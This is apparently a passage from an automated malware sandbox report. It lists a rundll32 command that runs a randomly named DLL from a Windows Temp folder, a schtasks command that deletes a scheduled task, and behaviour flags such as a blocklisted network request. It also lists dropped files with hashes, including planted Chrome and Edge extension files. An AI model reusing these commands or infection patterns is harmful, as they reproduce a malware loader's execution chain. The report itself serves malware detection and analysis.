C:\Windows\system32\rundll32.EXEC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll",#1 /fgsite_idvFn 3851181⤵PID:4484
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.EXE "C:\Windows\Temp\JHEwijpMlSQrgvQB\iwylrPXt\QdcQzQC.dll",#1 /fgsite_idvFn 3851182⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1868 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "BinjFlxHFUMMGNOij"3⤵PID:3080
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD561b110d7a87941f20c659ab2fff5c9aa
SHA1e20ee694720ac88d8fbbf3e0fd038b7d5f83e3fb
SHA256c458181272e14db89829392a54e0834b3d180110894a9f93a6ab9acf9ef081a7
SHA5126f0524a21263f46bf6f2c393ef138f5b3ea3427d28e34e21ab42fb193e4d391fc1f41c5a54d421be501f435e51dfdc59b8701551af29bf8e550d3c799ac6b69d
-
Filesize
2KB
MD5a3b7f0642197e765896aa0d42966f2f6
SHA168660667165bb98d2e920919c74fbbd2c67badfe
SHA2565722ed2910727cacee46108f3ab822fc0010de0f0a219762827f873427921129
SHA512d9a281ce0c81dd567da7962605cdb8c67fe5f5f7781b38ec8f8aa79895c6880b63ed181e6b6348798cdbf7a4b9768ed88d550c0cb2335604035617b2c63ec4ed
-
Filesize
2KB
MD5eb17923a53eed35df36672f2c1844555
SHA1fd8debccae2e7745692efb2de96b14f0f899cd24
SHA256a2fbdb788efc05309395f74c9e11b7daf65dd88047f62d81640e73670f2b8388
SHA512b047efa1c5a379a0f74a18b00d6f7d20cca3bb1e1af82e0c01fdac3f2bbb61791dd5882704f11844a8ca913bba8520f3d59364053aaa4b9a946b7952cc2f7506
-
Filesize
2KB
MD5765e2024faa60bc54d9903f7b64b7bfd
SHA122f0a25172b37e69a197abbcae0464d1614dd3ec
SHA25605d12e0a126734b2d44eef3299083b2e3a7b8fa8649eb2d51b45a4cf3e938a70
SHA512695c5914c741f7d5cd2c6f76b1ee4612175d047e4d7e99852b9d72fc11cadaa1cb1fc2568f1141c68d741f62d93a8a7825d1dde5b0255cd9741eed083c390537
-
Filesize
2.0MB
MD5e7f61528160715bbe7e19895b32c9205
SHA1bc213e90ecef28e4187b8adf814492e0724074fe
SHA256524df25177fbe513322540e08e2afa2688935163ba509dd69c5d0496321eacca
SHA5123ed20b1c1f79627be6176a1c78ab57e6a68efb61fd3d035547633e3d1fe4b38a44bf0a45aa141f6da6eb3ce4dbcc601ea8f86408b7f3f1433602b8318cc4789a
-
Filesize
2KB
MD56924335079ad40d54c79a1a13d2cffa9
SHA1050ef2009bcb011347df11e9ec082e91e8d4d8bf
SHA2568983c85a690312d93aebd7c343f7d36e6a9c338c98ce046fe6bef3ef4ebe5465
SHA512512913e02bd69e132b259dc1f8e25aa86e18f5bd42d9a7995ef956bf0d9a76c50ed79371f98a5c2fb8f68da4f9a94821f5abc90e2f6977020904b2dd81b7fe68
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize187B
MD52a1e12a4811892d95962998e184399d8
SHA155b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720
SHA25632b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb
SHA512bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize136B
MD5238d2612f510ea51d0d3eaa09e7136b1
SHA10953540c6c2fd928dd03b38c43f6e8541e1a0328
SHA256801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e
SHA5122630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize150B
MD50b1cf3deab325f8987f2ee31c6afc8ea
SHA16a51537cef82143d3d768759b21598542d683904
SHA2560ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf
SHA5125bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f
-
Filesize
10KB
MD51c843d2b6fb42c1f78dcc879c4a88d1c
SHA1361c1b427924c75419b5b376db1f30bd9f90e4e1
SHA256b5545875de3c9a044ae28a05088cf2b0b169731cacb157c0afcb74b14ad64990
SHA512fcadcba87b2acf5be137ced5407ebd00ec97bd7620f2a38aef30e62593fd073d0fe40a8e985d1e0d9c69150b1df4d54844b05d1e3f9bb2c06eaf8a59c4be885e
-
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
Filesize151B
MD5bd6b60b18aee6aaeb83b35c68fb48d88
SHA19b977a5fbf606d1104894e025e51ac28b56137c3
SHA256b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55
SHA5123500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b
-
Filesize
8KB
MD52585369d1d195ddce33662fe9b117a77
SHA175c5d58b00fc070d799e0db347427469f51bd1ca
SHA2568194c0b313fe0958ad8d6dc665ccc544563bde15383b33d12ebafc76dbd5ca1e
SHA5124af1bfe6b4515950228031a08f9752bbbbd2d4b299ae1fa86b1f8fc6997f41da549cfc5bedb641743653251f7ccc2b751aff08c9ec7677d7d7b599d86c041e1f
-
Filesize
11KB
MD5f6d2fe13a0be276e735ab427bccb8b5c
SHA1083e760962aa083903cf938b2804a0ed36547bcf
SHA2560f624158e4d69ed8e2cde71b45669c1c80725594d2ba0284555086a655fea236
SHA51259cc899c45d5374486ba176a950624841be96799f83a6006ed6c9faef47d41bc54db1cc17f723f9e626383d3d60a4a682f076bc1077cabeaf9a25e8f2c7adda6
-
Filesize
6.7MB
MD5179fb197a3d7311375c9037091fc224c
SHA1802c18d747c379acd9c9a1fcae6e29636b7bd224
SHA256ff3ef3388be54902b91b3833f2abea5b31fe50f4b5f1cc8be06d6aca1b6683b9
SHA512c2d30d078c1358fcbfa5079893ab21c745df2532deee61b84e3eec395efeded6769a73c3d961fbb7f71260a6303e0f9cf22f37111fb90e7b8d4e4fdbd0337317
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
6KB
MD5da2bbeb9f87d607f66095128a9dac4a1
SHA17a8624f8dfeb3471c2054c9fab490811fe2f80e8
SHA2560f78a519bdfb3728556b4ab158699ab9ab931a98c38add232a97fef4dfee454e
SHA512a4613eb7de12aec8ccf9034aaa6efd52bea234b2e82dd8c401deb3383d22079b7f57a0546ed0641c40824fef923dbbb7e9c8c01483bd6bfb201c9a200f3a10ca
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize1KB
MD55b74da6778ccaa0e1ca4ae7484775943
SHA10a2f6f315a0ca1a0366b509aec7b13c606645654
SHA256172282931d7eeb60228e6b9b4b913fd78c73f2a7855620f35fb24a5c847b6c78
SHA51220b4cb7174f49b22426b249f1dfc8f6273f50d1502536e773f4dcd073bf027f2a554d2437c2dc628dbe021c5c3b968b2d89f810ff1bb19630c1560e7feee1a1a
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD599ef28dc80a273f4cd4339791ac82cbe
SHA1a16291612bb45ef85df0f5e30a7d634994e42c3a
SHA256e1fc9f5e320e537df35b605fabb89fd7da99433f1b72999a1d4d8205a0a287b1
SHA5125697b10555c95482f7bc1c1f906688aed56d1dff01256f31b55b52062ac89bdfd13e3a8850af4ad37e3dc0b6efb39c1d077553a90d60e4f85dde1ac2595f5df9
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize11KB
MD5d155a78ca3dbb3a00a2b84767ccdd13d
SHA13a24163e7f933fdbc70b14c570e5286dc5ea038e
SHA256f94ffffea37b4eacfb334e04fbe359c19198346ae3505e402b963f8acbf3a790
SHA51291b561795b1c08af7de62e3d06ab58f2f89d901d167e0c5a12d799a2e8a4f0b86a58250ec36caf152ba51270c9453e07b1805db9a6597cc6dcd8c776efcdafe5
-
Filesize
6.4MB
MD544f3948cb32c3b8df1fca5ef30116aa0
SHA1c674b72e1e1058d0e29d555abc09d40f0c7c8a0c
SHA25612cd48a7e59081b04ad77863bdfc946ecaeccede9368f6410e05c80ee526a0fe
SHA51209d5de6251c88e853132bc8455f2da4d4922a9059778c5103652da3420cd7f98de983f6e3e9ebbe201bd520ac6dbff4cc95b7f01cf6ea335b05671f99649b5b0
-
Filesize
5KB
MD5076dee9a0e7f704f50435a860ef61ffc
SHA171bfb3f8905b3c81698ce82e5fe37097dd9b9d7c
SHA256153089f4c44b875138ca8d7bbfe3fc6817173c18afa9c44391aad496957c29de
SHA512f494671a802d512087f3c814f581e986f884d83605f642fbf9493d3ca39ce3005436bd25990085dd4e2e2b3a506765f3ef453f8e4a50b686c4cea14b9208ccc6